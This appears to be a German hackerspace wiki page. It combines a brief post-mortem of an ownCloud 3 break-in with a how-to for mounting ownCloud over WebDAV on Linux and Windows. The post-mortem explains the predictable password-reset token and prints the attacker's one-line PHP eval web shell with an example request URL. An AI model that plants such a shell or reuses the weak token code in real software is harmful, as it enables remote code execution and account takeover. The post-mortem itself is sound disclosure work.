In ownCloud 3 existierte eine Sicherheitslücke, weswegen wir die ownCloud abgeschalten haben. Durch diese Lücke wurde auf unsere VM eingebrochen, und das Wiki mit einem Pony-Bild ausgetauscht. Die Attacke wurde von einer Person auf der SIGINT in Köln ausgeführt.
Die Sicherheitslücke entstand durch eine unsichere "lostpassword"-Funktion, welche aus folgenden Code bestand:
$token = sha1($_POST['user']+uniqId());
Die Funktion uniqId() lieferte den momentanen Unix-Timestamp in hexadezimaler Form zurück. Da der Operator "+" verwendet wurde, wurden beide Strings als numerischer Wert interpretiert ("4A" wurde z.b. zu 4) (http://php.net/manual/en/language.types.type-juggling.php).
Dadurch wurde der Token leicht voraussagbar.
Nachdem der Angreifer zugriff auf das Konto des Users bekommen hat, konnte eine einfache PHP Datei mit folgendem Inhalt hochgeladen werden:
<?php eval( urldecode( $_REQUEST['text'] ) ); ?>
Durch einen Public-Link konnte so Code über das Request-Feld "text" übergeben werden.
Beispiel:
http://owncloud.hackerspace-bamberg.de/(url)?text=echo+%22Hallo+Welt%22
Hier ne kleine Anleitung wie man ownCloud via WebDAV in das System einbindet, je nach Betriebssystem gibts es hierzu unterschiedliche Möglichkeiten.
Mittlerweile existiert ein owncloud-client der alle Synchronisationsaufgaben abnimmt. Falls man einen .htaccess vor der owncloud verwendet muss man in der owncloud-client config Datei die URL folgendermaßen anpassen:
http://username:password@cloud.example.com
Um unabhängig vom genutzten Dateibrowser zu sein, kann man WebDAV auf Dateisystemebene einbinden (mounten), oder dies einfach über den Dateimanager verwenden.
Der Nachteil vom Dateimanager ist das nicht alle Programme den jeweiligen Standard des Dateimanagers (GVFS oder KIO) unterstützen, und man so ggf. Dateien erst runterladen muss um diese öffnen zu können :-/
Bei Nautilus kann man einfach mit Datei->Verbindung zu Server... eine Verbindung zur ownCloud herstellen. Folgende Konfigurationsdaten sind hierfür erforderlich:
Benutzername und Passwort darf/muss man das eigene Verwenden.
Man kann mit einem Rechten Mausklick in der Seiteleiste ein derart verwendetes Share einfach als Lesezeichen speichern und anschließen umbennen, so das man diese wahnsinnige Konfigurationsarbeit nur einmalig erledigen muss.
Du hast den Job!
sudo pacman -S davfs2
sudo apt-get install davfs2
sudo yum install davfs2
Bei den folgenden Schritten werden Beispieldaten verwendet.
Alle genannten Daten müssen vor dem Konfigurieren an die eigenen angepasst werden.
sudo dpkg-reconfigure davfs2
Bei dem genannten Kommando wird konfiguriert ob normale User WebDav Verzeichnisse einbinden dürfen sollen. Das folgende HowTo geht davon aus das "Yes" / "Ja" gewählt wurde.
mkdir ~/owncloud
sudo vi /etc/fstab
Folgende Zeile am Ende hinzufügen:
https://owncloud.hackerspace-bamberg.de/files/webdav.php /home/herpderp/owncloud davfs rw,user,noauto 0 0
mkdir ~/.davfs2 vi ~/.davfs2/secrets
Zugangsdaten in folgendem Format einfügen:
https://owncloud.hackerspace-bamberg.de/files/webdav.php herpderp derpina85
chmod 600 ~/.davfs2/secrets
sudo usermod -a -G davfs2 herpderp
mount ~/owncloud
Der letzte Befehl muss bei jedem Start des Computers neu ausgeführt werden um das WebDav Verzeichnis einzubinden. Um das zu automatisieren gibt es verschiedene Möglichkeiten: Achtung: Das einbinden von WebDav Verzeichnissen funktioniert nur bei bestehender Internetverbindung. Eine automatisierung wird daher nicht empfohlen!
echo "mount /home/herpderp/owncloud" >> /etc/rc.local echo "mount /home/herpderp/owncloud" >> ~/.bashrc
Es sollte mit dem nativen Windows WebDAV funktionieren, siehe WebDAV Win Native.
Unter Windows 7 64-Bit (eventuell auch andere) ist das aber nicht immer so, dann kann Netdrive helfen. Dafür folgende Schritte befolgen:
Wenn es sich nicht innerhalb weniger Sekunden verbindet und es keine Fehlermeldung gibt, ist bei den Einstellungen etwa sschief gelaufen. Dann den Prozess killen und das System neu starten, sonst kommt man nicht mehr in Netdrive.
Bug: Shared Folder ist leer.